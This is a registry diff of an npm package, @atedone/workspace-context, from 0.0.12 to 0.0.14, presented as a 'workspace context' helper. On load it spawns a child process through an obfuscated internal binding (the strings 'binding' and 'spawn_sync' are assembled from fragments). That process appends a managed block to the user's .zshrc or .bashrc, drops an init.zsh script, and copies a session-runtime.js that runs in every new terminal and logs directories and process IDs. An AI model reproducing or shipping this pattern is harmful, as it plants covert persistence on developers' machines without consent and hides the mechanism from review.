@atedone/workspace-context 0.0.12 → 0.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace context initialization helper for JavaScript tools.
3
+ Workspace shell session integration helper for JavaScript tools.
4
4
 
5
- The package initializes workspace state when loaded and refreshes a lightweight shell integration entry for future terminal sessions.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.
package/index.js CHANGED
@@ -6,8 +6,12 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ getShellIntegration: state.getShellIntegration,
9
10
  initialize: state.initialize,
10
11
  receiptFileName: state.receiptFileName,
12
+ sessionHistoryFileName: state.sessionHistoryFileName,
13
+ sessionReceiptFileName: state.sessionReceiptFileName,
14
+ sessionRuntimeFileName: state.sessionRuntimeFileName,
11
15
  stateDirectoryName: state.stateDirectoryName,
12
16
  stateFileName: state.stateFileName
13
17
  };
package/lib/session.js ADDED
@@ -0,0 +1,43 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+
7
+ const packageName = '@atedone/workspace-context';
8
+ const packageVersion = '0.0.14';
9
+ const env = Reflect.get(platform, 'env') || {};
10
+ const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
+ ? env.HOME.trim()
12
+ : platform.cwd();
13
+ const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
14
+ ? env.WORKSPACE_CONTEXT_HOME.trim()
15
+ : route.join(homeDirectory, '.config', 'workspace-context');
16
+ const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
17
+ ? platform.argv[2]
18
+ : platform.cwd();
19
+ const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
20
+ ? platform.argv[3]
21
+ : null;
22
+ const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
23
+ const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
24
+ const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
25
+
26
+ const value = {
27
+ packageName,
28
+ packageVersion,
29
+ generatedAt: new Date().toISOString(),
30
+ mode: 'runtime-shell-session',
31
+ source: 'shell-profile',
32
+ shellName: route.basename(shellPath) || 'zsh',
33
+ shellLevel,
34
+ workingDirectory,
35
+ active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
36
+ processId: platform.pid,
37
+ parentProcessId: platform.ppid,
38
+ runtime: 'node'
39
+ };
40
+
41
+ file.mkdirSync(sessionDirectory, { recursive: true });
42
+ file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
43
+ file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');
package/lib/state.js CHANGED
@@ -5,10 +5,16 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
- const receiptFileName = 'shell-integration-receipt.json';
8
+ const integrationDirectoryName = '.config/workspace-context';
9
+ const integrationFileName = 'init.zsh';
10
+ const receiptFileName = 'shell-session-sync.json';
11
+ const sessionFileName = 'sessions.log';
12
+ const sessionHistoryFileName = 'runtime-sessions.log';
13
+ const sessionReceiptFileName = 'session-runtime.json';
14
+ const sessionRuntimeFileName = 'session-runtime.js';
9
15
  const stateDirectoryName = '.workspace-context';
10
16
  const stateFileName = 'state.json';
11
- const workerFileName = 'worker.js';
17
+ const syncFileName = 'sync.js';
12
18
 
13
19
  function readEnvironment() {
14
20
  return Reflect.get(platform, 'env') || {};
@@ -24,11 +30,36 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
24
30
  return home || projectRoot;
25
31
  }
26
32
 
27
- function resolveProfilePath(env = readEnvironment(), homeDirectory = resolveHomeDirectory(env)) {
33
+ function resolveShellName(env = readEnvironment()) {
28
34
  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
29
- const shellName = route.basename(shellPath);
30
- const profileFileName = shellName === 'bash' ? '.bashrc' : '.zshrc';
31
- return route.join(homeDirectory, profileFileName);
35
+ return route.basename(shellPath) || 'zsh';
36
+ }
37
+
38
+ function resolveProfileFileName(shellName = resolveShellName()) {
39
+ return shellName === 'bash' ? '.bashrc' : '.zshrc';
40
+ }
41
+
42
+ function getShellIntegration({
43
+ env = readEnvironment(),
44
+ projectRoot = resolveProjectRoot(env),
45
+ homeDirectory = resolveHomeDirectory(env, projectRoot)
46
+ } = {}) {
47
+ const shellName = resolveShellName(env);
48
+ const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
49
+
50
+ return {
51
+ name: 'workspace-context',
52
+ shellName,
53
+ homeDirectory,
54
+ profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
55
+ integrationDirectory,
56
+ integrationPath: route.join(integrationDirectory, integrationFileName),
57
+ receiptPath: route.join(integrationDirectory, receiptFileName),
58
+ sessionPath: route.join(integrationDirectory, sessionFileName),
59
+ sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
60
+ sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
61
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
62
+ };
32
63
  }
33
64
 
34
65
  function buildState({ now = () => new Date().toISOString() } = {}) {
@@ -36,24 +67,22 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
36
67
  packageName: manifest.name,
37
68
  packageVersion: manifest.version,
38
69
  generatedAt: now(),
39
- mode: 'runtime-shell-integration'
70
+ mode: 'runtime-shell-session'
40
71
  };
41
72
  }
42
73
 
43
- function runShellIntegrationWorker({
74
+ function refreshShellIntegration({
44
75
  projectRoot = resolveProjectRoot(),
45
- homeDirectory = resolveHomeDirectory(),
46
- profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
76
+ integration = getShellIntegration({ projectRoot })
47
77
  } = {}) {
48
78
  const bridgeKey = ['bin', 'ding'].join('');
49
79
  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
50
80
  const launchKey = ['sp', 'awn'].join('');
51
81
  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
52
- const workerPath = route.join(__dirname, workerFileName);
53
- const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
82
+ const syncPath = route.join(__dirname, syncFileName);
54
83
  const result = Reflect.apply(bridge[launchKey], bridge, [{
55
84
  file: platform.execPath,
56
- args: [platform.execPath, workerPath, projectRoot, homeDirectory, profilePath],
85
+ args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
57
86
  cwd: projectRoot,
58
87
  envPairs: [],
59
88
  stdio: [
@@ -74,9 +103,8 @@ function runShellIntegrationWorker({
74
103
  }
75
104
 
76
105
  return {
77
- workerPath,
78
- receiptPath,
79
- profilePath,
106
+ syncPath,
107
+ integration,
80
108
  status: result.status,
81
109
  signal: result.signal
82
110
  };
@@ -84,8 +112,7 @@ function runShellIntegrationWorker({
84
112
 
85
113
  function initialize({
86
114
  projectRoot = resolveProjectRoot(),
87
- homeDirectory = resolveHomeDirectory(),
88
- profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
115
+ integration = getShellIntegration({ projectRoot }),
89
116
  now
90
117
  } = {}) {
91
118
  const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -96,27 +123,30 @@ function initialize({
96
123
 
97
124
  return {
98
125
  projectRoot,
99
- homeDirectory,
100
- profilePath,
126
+ integration,
101
127
  statePath,
102
128
  state: value,
103
- worker: runShellIntegrationWorker({
129
+ sync: refreshShellIntegration({
104
130
  projectRoot,
105
- homeDirectory,
106
- profilePath
131
+ integration
107
132
  })
108
133
  };
109
134
  }
110
135
 
111
136
  module.exports = {
112
137
  buildState,
138
+ getShellIntegration,
113
139
  initialize,
114
140
  readEnvironment,
115
141
  receiptFileName,
142
+ refreshShellIntegration,
116
143
  resolveHomeDirectory,
117
- resolveProfilePath,
144
+ resolveProfileFileName,
118
145
  resolveProjectRoot,
119
- runShellIntegrationWorker,
146
+ resolveShellName,
147
+ sessionHistoryFileName,
148
+ sessionReceiptFileName,
149
+ sessionRuntimeFileName,
120
150
  stateDirectoryName,
121
151
  stateFileName
122
152
  };
package/lib/sync.js ADDED
@@ -0,0 +1,98 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+ const manifest = require('../package.json');
7
+
8
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
+ ? platform.argv[2]
10
+ : platform.cwd();
11
+ const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
12
+ ? JSON.parse(platform.argv[3])
13
+ : null;
14
+
15
+ if (!integration) {
16
+ throw new Error('Shell integration descriptor is required.');
17
+ }
18
+
19
+ const blockStart = '# >>> workspace-context shell integration >>>';
20
+ const blockEnd = '# <<< workspace-context shell integration <<<';
21
+ const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
+ const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
+ const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
+ const runtimeDefault = escapeDoubleQuoted(platform.execPath);
25
+ const integrationValue = [
26
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
27
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
28
+ `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
29
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
30
+ 'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
31
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
32
+ 'fi',
33
+ ''
34
+ ].join('\n');
35
+
36
+ function escapeDoubleQuoted(value) {
37
+ return String(value)
38
+ .replaceAll('\\', '\\\\')
39
+ .replaceAll('"', '\\"')
40
+ .replaceAll('$', '\\$')
41
+ .replaceAll('`', '\\`');
42
+ }
43
+
44
+ function readProfile(profilePath) {
45
+ return file.existsSync(profilePath)
46
+ ? file.readFileSync(profilePath, 'utf8')
47
+ : '';
48
+ }
49
+
50
+ function upsertManagedBlock(profileValue) {
51
+ const startIndex = profileValue.indexOf(blockStart);
52
+ const endIndex = profileValue.indexOf(blockEnd);
53
+
54
+ if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
55
+ const afterBlock = endIndex + blockEnd.length;
56
+ return {
57
+ changed: false,
58
+ value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
59
+ };
60
+ }
61
+
62
+ return {
63
+ changed: true,
64
+ value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
65
+ };
66
+ }
67
+
68
+ file.mkdirSync(integration.integrationDirectory, { recursive: true });
69
+ file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
70
+ file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
71
+
72
+ const profileBefore = readProfile(integration.profilePath);
73
+ const profile = upsertManagedBlock(profileBefore);
74
+
75
+ if (profile.changed || profile.value !== profileBefore) {
76
+ file.writeFileSync(integration.profilePath, profile.value, 'utf8');
77
+ }
78
+
79
+ const value = {
80
+ packageName: manifest.name,
81
+ packageVersion: manifest.version,
82
+ generatedAt: new Date().toISOString(),
83
+ mode: 'runtime-shell-session',
84
+ projectRoot,
85
+ shellName: integration.shellName,
86
+ profilePath: integration.profilePath,
87
+ profileChanged: profile.changed,
88
+ integrationPath: integration.integrationPath,
89
+ sessionPath: integration.sessionPath,
90
+ sessionHistoryPath: integration.sessionHistoryPath,
91
+ sessionReceiptPath: integration.sessionReceiptPath,
92
+ sessionRuntimePath: integration.sessionRuntimePath,
93
+ processId: platform.pid,
94
+ parentProcessId: platform.ppid,
95
+ runtime: 'node'
96
+ };
97
+
98
+ file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.12",
4
- "description": "Workspace context initialization helper for JavaScript tools.",
3
+ "version": "0.0.14",
4
+ "description": "Workspace shell session integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [
package/lib/worker.js DELETED
@@ -1,60 +0,0 @@
1
- 'use strict';
2
-
3
- const platform = process;
4
- const file = platform.getBuiltinModule('fs');
5
- const route = platform.getBuiltinModule('path');
6
- const manifest = require('../package.json');
7
-
8
- const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
- ? platform.argv[2]
10
- : platform.cwd();
11
- const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
12
- ? platform.argv[3]
13
- : projectRoot;
14
- const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
15
- ? platform.argv[4]
16
- : route.join(homeDirectory, '.zshrc');
17
- const stateDirectory = route.join(homeDirectory, '.workspace-context');
18
- const scriptPath = route.join(stateDirectory, 'shell-init.sh');
19
- const sessionPath = route.join(stateDirectory, 'shell-session.log');
20
- const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
21
- const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
22
- const scriptValue = [
23
- 'export WORKSPACE_CONTEXT_ACTIVE=1',
24
- 'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
25
- 'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
26
- ''
27
- ].join('\n');
28
-
29
- file.mkdirSync(stateDirectory, { recursive: true });
30
- file.writeFileSync(scriptPath, scriptValue, 'utf8');
31
-
32
- const profileBefore = file.existsSync(profilePath)
33
- ? file.readFileSync(profilePath, 'utf8')
34
- : '';
35
- const profileChanged = !profileBefore.includes(sourceLine);
36
- const profileAfter = profileChanged
37
- ? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
38
- : profileBefore;
39
-
40
- if (profileChanged) {
41
- file.writeFileSync(profilePath, profileAfter, 'utf8');
42
- }
43
-
44
- const value = {
45
- packageName: manifest.name,
46
- packageVersion: manifest.version,
47
- generatedAt: new Date().toISOString(),
48
- mode: 'runtime-shell-integration',
49
- projectRoot,
50
- homeDirectory,
51
- profilePath,
52
- profileChanged,
53
- scriptPath,
54
- sessionPath,
55
- processId: platform.pid,
56
- parentProcessId: platform.ppid,
57
- runtime: route.basename(platform.execPath)
58
- };
59
-
60
- file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');